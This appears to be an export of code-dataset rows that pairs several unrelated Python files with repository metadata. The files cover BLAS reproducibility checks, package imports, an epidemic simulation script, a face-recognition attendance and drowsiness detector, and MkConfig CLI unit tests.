checks.ValidateInternalRCDOTCTest(),\
],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "FillX", "FillY"],\
[[16], folds, incs,\
[1.5 * 2**(FLT_MAX_EXP - FLT_BIG_EXP - 6 - i), 0.75 * 2**(FLT_MIN_EXP - FLT_SMALL_EXP + i)],\
[1.5 * 2**(FLT_MAX_EXP - FLT_BIG_EXP - 6 - i), 0.75 * 2**(FLT_MIN_EXP - FLT_SMALL_EXP + i)],\
["constant",\
"+big",\
"++big",\
"+-big"],\
["constant"]])
check_suite.add_checks([checks.ValidateInternalRCDOTUTest(),\
checks.ValidateInternalRCDOTCTest(),\
],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "FillX", "FillY"],\
[[16], folds, incs,\
[1.5 * 2**(FLT_MAX_EXP - FLT_BIG_EXP - 6 - i), 0.75 * 2**(FLT_MIN_EXP - FLT_SMALL_EXP + i)],\
[1.5 * 2**(FLT_MAX_EXP - FLT_BIG_EXP - 6 - i), 0.75 * 2**(FLT_MIN_EXP - FLT_SMALL_EXP + i)],\
["constant"],\
["constant",\
"+big",\
"++big",\
"+-big"]])
check_suite.add_checks([checks.ValidateInternalRCDOTUTest(),\
checks.ValidateInternalRCDOTCTest(),\
],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "FillX", "FillY"],\
[[16], folds, incs,\
[1.5 * 2**(FLT_MAX_EXP - 2 * FLT_BIG_EXP - 6 - i), 0.75 * 2**(FLT_MIN_EXP - 2 * FLT_SMALL_EXP + i)],\
[1.5 * 2**(FLT_MAX_EXP - 2 * FLT_BIG_EXP - 6 - i), 0.75 * 2**(FLT_MIN_EXP - 2 * FLT_SMALL_EXP + i)],\
["constant",\
"+big",\
"++big",\
"+-big"],\
["constant",\
"+big",\
"++big",\
"+-big"]])
check_suite.add_checks([checks.ValidateInternalDBDBADDTest(),\
checks.ValidateInternalDIDADDTest(),\
checks.ValidateInternalDIDDEPOSITTest(),\
checks.ValidateInternalRDSUMTest(),\
checks.ValidateInternalRDASUMTest(),\
checks.ValidateInternalRDDOTTest(),\
checks.ValidateInternalZBZBADDTest(),\
checks.ValidateInternalZIZADDTest(),\
checks.ValidateInternalZIZDEPOSITTest(),\
checks.ValidateInternalRZSUMTest(),\
checks.ValidateInternalRDZASUMTest(),\
checks.ValidateInternalRZDOTUTest(),\
checks.ValidateInternalRZDOTCTest()],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "FillX"],\
[[1], folds, incs, [DBL_ONES * 2 **(DBL_MAX_EXP - 1), 1.0], [DBL_ONES * 2 **(DBL_MAX_EXP - 1), 1.0],\
["constant",]])
check_suite.add_checks([checks.ValidateInternalSBSBADDTest(),\
checks.ValidateInternalSISADDTest(),\
checks.ValidateInternalSISDEPOSITTest(),\
checks.ValidateInternalRSSUMTest(),\
checks.ValidateInternalRSASUMTest(),\
checks.ValidateInternalRSDOTTest(),\
checks.ValidateInternalCBCBADDTest(),\
checks.ValidateInternalCICADDTest(),\
checks.ValidateInternalCICDEPOSITTest(),\
checks.ValidateInternalRCSUMTest(),\
checks.ValidateInternalRSCASUMTest(),\
checks.ValidateInternalRCDOTUTest(),\
checks.ValidateInternalRCDOTCTest()],\
["N", "fold", "incX", "RealScaleX", "ImagScaleX", "FillX"],\
[[1], folds, incs, [FLT_ONES * 2 **(FLT_MAX_EXP - 1), 1.0], [FLT_ONES * 2 **(FLT_MAX_EXP - 1), 1.0],\
["constant",]])
check_suite.add_checks([checks.CorroborateRDGEMVTest(),\
checks.CorroborateRZGEMVTest(),\
checks.CorroborateRSGEMVTest(),\
checks.CorroborateRCGEMVTest(),\
],\
["O", "T", "M", "N", "lda", ("incX", "incY"), "FillA", "FillX", "FillY", ("RealAlpha", "ImagAlpha"), ("RealBeta", "ImagBeta"), "fold"],\
[["RowMajor", "ColMajor"], ["Trans", "NoTrans"], [255, 512], [255, 512], [0, -15], list(zip(incs, incs)),\
["rand",\
],\
["rand",\
],\
["rand"],\
[(0.0, 0.0), (1.0, 0.0), (2.0, 2.0)],\
[(0.0, 0.0), (1.0, 0.0), (2.0, 2.0)],\
folds])
check_suite.add_checks([checks.CorroborateRDGEMMTest(),
checks.CorroborateRZGEMMTest(),\
checks.CorroborateRSGEMMTest(),\
checks.CorroborateRCGEMMTest(),\
],\
["O", "TransA", "TransB", "M", "N", "K", ("lda", "ldb", "ldc"), "FillA", "FillB", "FillC", ("RealAlpha", "ImagAlpha"), ("RealBeta", "ImagBeta"), "fold"],\
[["RowMajor", "ColMajor"], ["ConjTrans", "Trans", "NoTrans"], ["ConjTrans", "Trans", "NoTrans"], [32, 64], [32, 64], [32, 64], [(0, 0, 0), (-63, -63, -63)], \
["rand",\
],\
["rand",\
],\
["rand"],\
[(0.0, 0.0), (1.0, 0.0), (2.0, 2.0)],\
[(0.0, 0.0), (1.0, 0.0), (2.0, 2.0)],\
folds])
check_harness = harness.Harness("check")
check_harness.add_suite(check_suite)
check_harness.run()
| 49.581903
| 181
| 0.400101
| 2,094
| 31,782
| 5.925501
| 0.095511
| 0.012089
| 0.01354
| 0.061251
| 0.841876
| 0.778772
| 0.774097
| 0.728159
| 0.704707
| 0.648775
| 0
| 0.037307
| 0.450947
| 31,782
| 640
| 182
| 49.659375
| 0.673754
| 0
| 0
| 0.820034
| 0
| 0
| 0.08294
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.006791
| 0
| 0.006791
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
123ee8c896da4e9b7666f65188e490e9587df1f3
| 227
|
py
|
Python
|
universe/wrappers/experimental/__init__.py
|
BitJetKit/universe
|
cc9ce6ec241821bfb0f3b85dd455bd36e4ee7a8c
|
[
"MIT"
] | 8,120
|
2016-12-05T06:37:45.000Z
|
2022-03-21T14:45:20.000Z
|
universe/wrappers/experimental/__init__.py
|
BitJetKit/universe
|
cc9ce6ec241821bfb0f3b85dd455bd36e4ee7a8c
|
[
"MIT"
] | 213
|
2016-12-05T09:57:37.000Z
|
2018-04-05T18:55:14.000Z
|
universe/wrappers/experimental/__init__.py
|
BitJetKit/universe
|
cc9ce6ec241821bfb0f3b85dd455bd36e4ee7a8c
|
[
"MIT"
] | 1,140
|
2016-12-05T06:50:43.000Z
|
2022-03-23T08:28:32.000Z
|
from universe.wrappers.experimental.action_space import SafeActionSpace, SoftmaxClickMouse
from universe.wrappers.experimental.observation import CropObservations
from universe.wrappers.experimental.random_env import RandomEnv
| 56.75
| 90
| 0.898678
| 24
| 227
| 8.416667
| 0.583333
| 0.178218
| 0.29703
| 0.475248
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.057269
| 227
| 3
| 91
| 75.666667
| 0.943925
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d605ed466c93c77c50ca80efd8af6d3dddcf172b
| 217
|
py
|
Python
|
upsilont/features/__init__.py
|
dwkim78/UPSILoN-T
|
839ebb31360195f4cd668e255ede4ed14a46ba61
|
[
"MIT"
] | 3
|
2021-09-09T06:16:15.000Z
|
2021-12-17T04:40:57.000Z
|
upsilont/features/__init__.py
|
dwkim78/UPSILoN-T
|
839ebb31360195f4cd668e255ede4ed14a46ba61
|
[
"MIT"
] | null | null | null |
upsilont/features/__init__.py
|
dwkim78/UPSILoN-T
|
839ebb31360195f4cd668e255ede4ed14a46ba61
|
[
"MIT"
] | null | null | null |
from upsilont.features.variability_features import VariabilityFeatures
from upsilont.features.variability_features import get_train_feature_name
from upsilont.features.variability_features import get_all_feature_name
| 54.25
| 73
| 0.917051
| 27
| 217
| 7.037037
| 0.407407
| 0.189474
| 0.315789
| 0.489474
| 0.742105
| 0.742105
| 0.505263
| 0
| 0
| 0
| 0
| 0
| 0.0553
| 217
| 3
| 74
| 72.333333
| 0.926829
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
d61afc3936f6aee300252b6acf97bfac6bf35f46
| 3,366
|
py
|
Python
|
sensitivity_general.py
|
kwabenaOwusu/CovidInterventionsABM
|
08a92501d9390ae1a6696f61a54a17ee2bdc20fa
|
[
"Apache-2.0"
] | null | null | null |
sensitivity_general.py
|
kwabenaOwusu/CovidInterventionsABM
|
08a92501d9390ae1a6696f61a54a17ee2bdc20fa
|
[
"Apache-2.0"
] | null | null | null |
sensitivity_general.py
|
kwabenaOwusu/CovidInterventionsABM
|
08a92501d9390ae1a6696f61a54a17ee2bdc20fa
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
simulations for sensitivity to results
Author: Kwabena Afriyie Owusu
Date: May, 2020
"""
import csv
import time as mytime
############################################ENVIRONMENT###################################################################################
exec(open('./environment.py').read()) # execute the environment script
####################################################### STANDARD (MARKET)#############################################################################
numsim = 4 # number of years of simulations
start_time=mytime.time() # set time for starting
risk_life = 0.5 # risk level by moving outside
social_radius = 2 # social radius within which interaction is possible
eff_quarantined = 0.25 # efficiency of contact tracing symptomatic for treatments at hospitals
hospital_capacity = 0.5 # the capacity of the hospitals (in reference to the general population)
essentials_move = 8 # move out only for essentials
exec(open('./market_modules.py').read()) # execute the main script
outfname = 'sim_standard_market.csv'
with open(outfname,'w') as outfile:
allsimdat=csv.writer(outfile)
for rep in range(numsim):
exec(open('./loop_modules.py').read())
with open('./simulation_data.csv', 'r') as csvfile:
onesimdat = csv.reader(csvfile, delimiter=',')
header = next(onesimdat)
header.append('NoSim')
if rep==0:
allsimdat.writerow(header)
for row in onesimdat:
row.append(str(rep))
allsimdat.writerow(row)
print('Done, simulation %i, with standard paramaters, ended at %.4f hours '%(rep+1,(mytime.time()-start_time)/3600. ))
#os.rename('sim_movie.mp4', 'movie_standard_market_rep_%i.mp4' %(rep+1) )
####################################################### STANDARD (MARKET) WITH MASK #############################################################################
numsim = 4 # number of years of simulations
start_time=mytime.time() # set time for starting
risk_life = 0.5 # risk level by moving outside
social_radius = 2 # social radius within which interaction is possible
eff_quarantined = 0.25 # efficiency of contact tracing symptomatic for treatments at hospitals
hospital_capacity = 0.5 # the capacity of the hospitals (in reference to the general population)
essentials_move = 8 # move out only for essentials
wearing_mask = 0.5 # prob of wearing mask
exec(open('./market_mask_modules.py').read()) # execute the main script
outfname = 'sim_standard_market.csv'
with open(outfname,'w') as outfile:
allsimdat=csv.writer(outfile)
for rep in range(numsim):
exec(open('./loop_modules.py').read())
with open('./simulation_data.csv', 'r') as csvfile:
onesimdat = csv.reader(csvfile, delimiter=',')
header = next(onesimdat)
header.append('NoSim')
if rep==0:
allsimdat.writerow(header)
for row in onesimdat:
row.append(str(rep))
allsimdat.writerow(row)
print('Done, simulation %i, with standard paramaters, ended at %.4f hours '%(rep+1,(mytime.time()-start_time)/3600. ))
#os.rename('sim_movie.mp4', 'movie_standard_market_rep_%i.mp4' %(rep+1) )
| 40.554217
| 161
| 0.587047
| 396
| 3,366
| 4.89899
| 0.305556
| 0.043299
| 0.026804
| 0.024742
| 0.853608
| 0.853608
| 0.853608
| 0.853608
| 0.853608
| 0.853608
| 0
| 0.017765
| 0.197267
| 3,366
| 82
| 162
| 41.04878
| 0.700222
| 0.308972
| 0
| 0.88
| 0
| 0
| 0.174027
| 0.058885
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.04
| 0
| 0.04
| 0.04
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c3b2ccaed97ad8dd324b3738ec70e205e8c38d70
| 9,675
|
py
|
Python
|
Code/combined.py
|
Karan-Malik/Smart-Attendance-and-Engagement-Detection-System
|
c7b1a64026fcf43bdcee83c36d7001c2a99d1d86
|
[
"MIT"
] | null | null | null |
Code/combined.py
|
Karan-Malik/Smart-Attendance-and-Engagement-Detection-System
|
c7b1a64026fcf43bdcee83c36d7001c2a99d1d86
|
[
"MIT"
] | null | null | null |
Code/combined.py
|
Karan-Malik/Smart-Attendance-and-Engagement-Detection-System
|
c7b1a64026fcf43bdcee83c36d7001c2a99d1d86
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on Wed Dec 8 18:59:42 2021
@author: karan
"""
import datetime
import os
import time
import cv2
import pandas as pd
from scipy.spatial import distance as dist
from imutils.video import VideoStream
from imutils import face_utils
from threading import Thread
import numpy as np
import playsound
import argparse
import imutils
import dlib
def recognize_attendence():
recognizer = cv2.face.LBPHFaceRecognizer_create()
recognizer.read("TrainingImageLabel"+os.sep+"Trainner.yml")
harcascadePath = "haarcascade_default.xml"
faceCascade = cv2.CascadeClassifier(harcascadePath)
df = pd.read_csv("StudentDetails"+os.sep+"StudentDetails.csv",header=None)
df.columns=['Id','Name']
font = cv2.FONT_HERSHEY_SIMPLEX
col_names = ['Id', 'Name', 'Date', 'Time']
attendance = pd.DataFrame(columns=col_names)
cam = cv2.VideoCapture(0, cv2.CAP_DSHOW)
cam.set(3, 640)
cam.set(4, 480)
minW = 0.1 * cam.get(3)
minH = 0.1 * cam.get(4)
while True:
ret, im = cam.read()
gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)
faces = faceCascade.detectMultiScale(gray, 1.2, 5,
minSize = (int(minW), int(minH)),flags = cv2.CASCADE_SCALE_IMAGE)
for(x, y, w, h) in faces:
cv2.rectangle(im, (x, y), (x+w, y+h), (10, 159, 255), 2)
Id, conf = recognizer.predict(gray[y:y+h, x:x+w])
if conf < 100:
#print(df)
aa = df.loc[df['Id'] == Id]['Name'].values
confstr = " {0}%".format(round(100 - conf))
tt = str(Id)+"-"+aa
elif conf>200:
Id = ' Unknown '
tt = str(Id)
confstr = " {0}%".format(round(100 - conf))
if (conf) > 55:
ts = time.time()
date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d')
timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')
aa = str(aa)[2:-2]
attendance.loc[len(attendance)] = [Id, aa, date, timeStamp]
tt = str(tt)[2:-2]
# if(100-conf) > 67:
# tt = tt + " [Pass]"
# cv2.putText(im, str(tt), (x+5,y-5), font, 1, (255, 255, 255), 2)
# else:
cv2.putText(im, str(tt), (x + 5, y - 5), font, 1, (255, 255, 255), 2)
if (100-conf) > 67:
cv2.putText(im, str(confstr), (x + 5, y + h - 5), font,1, (0, 255, 0),1 )
elif (100-conf) > 50:
cv2.putText(im, str(confstr), (x + 5, y + h - 5), font, 1, (0, 255, 255), 1)
else:
cv2.putText(im, str(confstr), (x + 5, y + h - 5), font, 1, (0, 0, 255), 1)
attendance = attendance.drop_duplicates(subset=['Id'], keep='first')
cv2.imshow('Attendance', im)
if (cv2.waitKey(1) == ord('q')):
break
print(attendance)
ts = time.time()
date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d')
timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')
Hour, Minute, Second = timeStamp.split(":")
fileName = "Attendance"+os.sep+"Attendance_"+date+"_"+Hour+"-"+Minute+"-"+Second+".csv"
attendance.to_csv(fileName, index=False)
print("Attendance Successful")
cam.release()
cv2.destroyAllWindows()
def eye_aspect_ratio(eye):
A = dist.euclidean(eye[1], eye[5])
B = dist.euclidean(eye[2], eye[4])
C = dist.euclidean(eye[0], eye[3])
ear = (A + B) / (2.0 * C)
return ear
def detect_drowsy():
EYE_AR_THRESH = 0.3
EYE_AR_CONSEC_FRAMES = 48
COUNTER = 0
detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat')
(lStart, lEnd) = face_utils.FACIAL_LANDMARKS_IDXS["left_eye"]
(rStart, rEnd) = face_utils.FACIAL_LANDMARKS_IDXS["right_eye"]
vs = cv2.VideoCapture(0, cv2.CAP_DSHOW)
time.sleep(1.0)
while True:
_,frame = vs.read()
frame = imutils.resize(frame, width=450)
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
rects = detector(gray, 0)
for rect in rects:
shape = predictor(gray, rect)
shape = face_utils.shape_to_np(shape)
leftEye = shape[lStart:lEnd]
rightEye = shape[rStart:rEnd]
leftEAR = eye_aspect_ratio(leftEye)
rightEAR = eye_aspect_ratio(rightEye)
ear = (leftEAR + rightEAR) / 2.0
leftEyeHull = cv2.convexHull(leftEye)
rightEyeHull = cv2.convexHull(rightEye)
cv2.drawContours(frame, [leftEyeHull], -1, (0, 255, 0), 1)
cv2.drawContours(frame, [rightEyeHull], -1, (0, 255, 0), 1)
if ear < EYE_AR_THRESH:
COUNTER += 1
if COUNTER >= EYE_AR_CONSEC_FRAMES:
cv2.putText(frame, "DROWSINESS ALERT!", (10, 30),
cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
else:
COUNTER = 0
cv2.putText(frame, "EAR: {:.2f}".format(ear), (300, 30),
cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
cv2.imshow("Frame", frame)
key = cv2.waitKey(1) & 0xFF
if key == ord("q"):
break
cv2.destroyAllWindows()
vs.release()
def attendanceAndDrowsy():
recognizer = cv2.face.LBPHFaceRecognizer_create()
recognizer.read("TrainingImageLabel"+os.sep+"Trainner.yml")
harcascadePath = "haarcascade_default.xml"
faceCascade = cv2.CascadeClassifier(harcascadePath)
df = pd.read_csv("StudentDetails"+os.sep+"StudentDetails.csv",header=None)
df.columns=['Id','Name']
font = cv2.FONT_HERSHEY_SIMPLEX
col_names = ['Id', 'Name', 'Date', 'Time']
attendance = pd.DataFrame(columns=col_names)
EYE_AR_THRESH = 0.3
EYE_AR_CONSEC_FRAMES = 48
COUNTER = 0
detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat')
(lStart, lEnd) = face_utils.FACIAL_LANDMARKS_IDXS["left_eye"]
(rStart, rEnd) = face_utils.FACIAL_LANDMARKS_IDXS["right_eye"]
cam = cv2.VideoCapture(0, cv2.CAP_DSHOW)
cam.set(3, 640)
cam.set(4, 480)
minW = 0.1 * cam.get(3)
minH = 0.1 * cam.get(4)
while True:
ret, im = cam.read()
gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)
faces = faceCascade.detectMultiScale(gray, 1.2, 5,
minSize = (int(minW), int(minH)),flags = cv2.CASCADE_SCALE_IMAGE)
for(x, y, w, h) in faces:
cv2.rectangle(im, (x, y), (x+w, y+h), (10, 159, 255), 2)
Id, conf = recognizer.predict(gray[y:y+h, x:x+w])
#print(df)
aa = df.loc[df['Id'] == Id]['Name'].values
confstr = " {0}%".format(round(100 - conf))
tt = str(Id)+"-"+aa
if conf>200:
Id = ' Unknown '
tt = str(Id)
confstr = " {0}%".format(round(100 - conf))
if (conf) <55:
ts = time.time()
date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d')
timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')
aa = str(aa)[2:-2]
attendance.loc[len(attendance)] = [Id, aa, date, timeStamp]
tt = str(tt)[2:-2]
cv2.putText(im, str(tt), (x + 5, y - 5), font, 1, (255, 255, 255), 2)
if (100-conf) > 67:
cv2.putText(im, str(confstr), (x + 5, y + h - 5), font,1, (0, 255, 0),1 )
elif (100-conf) > 50:
cv2.putText(im, str(confstr), (x + 5, y + h - 5), font, 1, (0, 255, 255), 1)
else:
cv2.putText(im, str(confstr), (x + 5, y + h - 5), font, 1, (0, 0, 255), 1)
# frame=im
# frame = imutils.resize(frame, width=450)
gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)
rects = detector(gray, 0)
for rect in rects:
shape = predictor(gray, rect)
shape = face_utils.shape_to_np(shape)
leftEye = shape[lStart:lEnd]
rightEye = shape[rStart:rEnd]
leftEAR = eye_aspect_ratio(leftEye)
rightEAR = eye_aspect_ratio(rightEye)
ear = (leftEAR + rightEAR) / 2.0
leftEyeHull = cv2.convexHull(leftEye)
rightEyeHull = cv2.convexHull(rightEye)
cv2.drawContours(im, [leftEyeHull], -1, (0, 255, 0), 1)
cv2.drawContours(im, [rightEyeHull], -1, (0, 255, 0), 1)
if ear < EYE_AR_THRESH:
COUNTER += 1
if COUNTER >= EYE_AR_CONSEC_FRAMES:
cv2.putText(im, "DROWSINESS ALERT!", (10, 30),
cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
else:
COUNTER = 0
cv2.putText(im, "EAR: {:.2f}".format(ear), (300, 30),
cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
attendance = attendance.drop_duplicates(subset=['Id'], keep='first')
cv2.imshow('Attendance', im)
if (cv2.waitKey(1) == ord('q')):
break
print(attendance)
ts = time.time()
date = datetime.datetime.fromtimestamp(ts).strftime('%d-%m-%Y')
timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')
Hour, Minute, Second = timeStamp.split(":")
fileName = "Attendance"+os.sep+"Attendance_"+date+"_"+Hour+"-"+Minute+"-"+Second+".csv"
attendance.to_csv(fileName, index=False)
print("Attendance Successful")
cam.release()
cv2.destroyAllWindows()
#attendanceAndDrowsy()
| 34.677419
| 92
| 0.557209
| 1,238
| 9,675
| 4.263328
| 0.178514
| 0.01061
| 0.025009
| 0.025578
| 0.876658
| 0.873816
| 0.8687
| 0.868321
| 0.855817
| 0.838386
| 0
| 0.060047
| 0.289096
| 9,675
| 279
| 93
| 34.677419
| 0.707328
| 0.029044
| 0
| 0.779904
| 0
| 0
| 0.068245
| 0.012796
| 0
| 0
| 0.000427
| 0
| 0
| 1
| 0.019139
| false
| 0
| 0.066986
| 0
| 0.090909
| 0.019139
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c3d9660e52447381917756a20d16f9d97323e3b1
| 13,587
|
py
|
Python
|
mkconfig/tests/test_cement_cli.py
|
mcfongtw/MkConfig
|
2015ad46352a1c7b42b510369f410e98c52df53b
|
[
"MIT"
] | 1
|
2016-11-29T13:41:21.000Z
|
2016-11-29T13:41:21.000Z
|
mkconfig/tests/test_cement_cli.py
|
mcfongtw/MkConfig
|
2015ad46352a1c7b42b510369f410e98c52df53b
|
[
"MIT"
] | null | null | null |
mkconfig/tests/test_cement_cli.py
|
mcfongtw/MkConfig
|
2015ad46352a1c7b42b510369f410e98c52df53b
|
[
"MIT"
] | null | null | null |
import os
from mkconfig.conf.utils import Utils
from mkconfig.env import setup_logging_with_details, Configurations
import logging
from cement.utils import test
setup_logging_with_details()
logger = logging.getLogger(__name__)
from mkconfig.core.cli import MkConfigApp
class TestMkConfigApp(test.CementTestCase):
app_class = MkConfigApp
example_dir = Configurations.getProjectRootDir() + '/examples/'
def setUp(self):
logger.info('Unit Test [{}] Start'.format(self.id()))
def tearDown(self):
folder = Configurations.getTmpTemplateDir()
logger.info('Removing all files under %s', folder)
for the_file in os.listdir(folder):
file_path = os.path.join(folder, the_file)
try:
if os.path.isfile(file_path):
os.unlink(file_path)
except Exception as e:
print(e)
logger.info('Removing all files under %s ---- DONE', folder)
logger.info('Unit Test [{}] Stop'.format(self.id()))
#########################################################################################
# Default Behavior
#########################################################################################
def test_normal_with_default_template(self):
config_control_string = """
app_list :
- cassandra
app_conf_dir : """ + self.example_dir
app = self.make_app(argv=['-d'+ config_control_string, '-i ', '-otest.output'])
app.setup()
app.run()
self.assertEqual(app.pargs.transf_desc_file, ' ')
self.assertEqual(app.pargs.transf_desc_string, config_control_string)
self.assertEqual(app.pargs.type, 'collectd_genericjmx')
self.assertEqual(app.pargs.output, 'test.output')
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_genericjmx.mbean.inc.stub')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_genericjmx.connection.inc.stub')))
app.close()
def test_file_not_found_1(self):
app1 = self.make_app(argv=['-o1', '-t1', '-i1'])
app1.setup()
with self.assertRaises(IOError):
app1.run()
app1.close()
#########################################################################################
# Collectd-GenericJmx specific
#########################################################################################
def test_normal_start_and_stop_on_jenkins_with_genericjmx(self):
config_control_string = """
app_list :
- jenkins
app_conf_dir : """ + self.example_dir
app = self.make_app(
argv=['-tcollectd_genericjmx', '-otest.output', '-i ', '-d'+ config_control_string,])
app.setup()
app.run()
self.assertEqual(app.pargs.transf_desc_file, ' ')
self.assertEqual(app.pargs.transf_desc_string, config_control_string)
self.assertEqual(app.pargs.type, 'collectd_genericjmx')
self.assertEqual(app.pargs.output, 'test.output')
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_genericjmx.mbean.inc.stub')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_genericjmx.connection.inc.stub')))
app.close()
def test_normal_start_and_stop_on_cassandra_with_genericjmx(self):
config_control_string = """
app_list :
- cassandra
app_conf_dir : """ + self.example_dir
app = self.make_app(
argv=['-tcollectd_genericjmx', '-otest.output', '-i ', '-d'+ config_control_string,])
app.setup()
app.run()
self.assertEqual(app.pargs.transf_desc_file, ' ')
self.assertEqual(app.pargs.transf_desc_string, config_control_string)
self.assertEqual(app.pargs.type, 'collectd_genericjmx')
self.assertEqual(app.pargs.output, 'test.output')
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_genericjmx.mbean.inc.stub')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_genericjmx.connection.inc.stub')))
app.close()
def test_normal_start_and_stop_with_apps_list_with_genericjmx(self):
config_control_string = """
app_list :
- cassandra
- jenkins
app_conf_dir : """ + self.example_dir
app = self.make_app(
argv=['-tcollectd_genericjmx', '-otest.output', '-i ', '-d'+ config_control_string,])
app.setup()
app.run()
self.assertEqual(app.pargs.transf_desc_file, ' ')
self.assertEqual(app.pargs.transf_desc_string, config_control_string)
self.assertEqual(app.pargs.output, 'test.output')
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_genericjmx.mbean.inc.stub')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'_collectd_genericjmx.connection.inc.stub')))
app.close()
def test_normal_start_and_stop_with_all_exampl_apps_with_genericjmx(self):
config_control_string = """
app_list :
- cassandra
- jenkins
- jira
app_conf_dir : """ + self.example_dir
app = self.make_app(
argv=['-tcollectd_genericjmx', '-otest.output', '-i ', '-d'+ config_control_string])
app.setup()
app.run()
self.assertEqual(app.pargs.transf_desc_file, ' ')
self.assertEqual(app.pargs.transf_desc_string, config_control_string)
self.assertEqual(app.pargs.output, 'test.output')
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'cassandra.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.mbean.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jenkins.connection.blocks.inc')))
self.assertTrue(Utils.is_file_exist(Configurations.getTmpTemplateFile(
'jira.mbean.blocks.inc')))
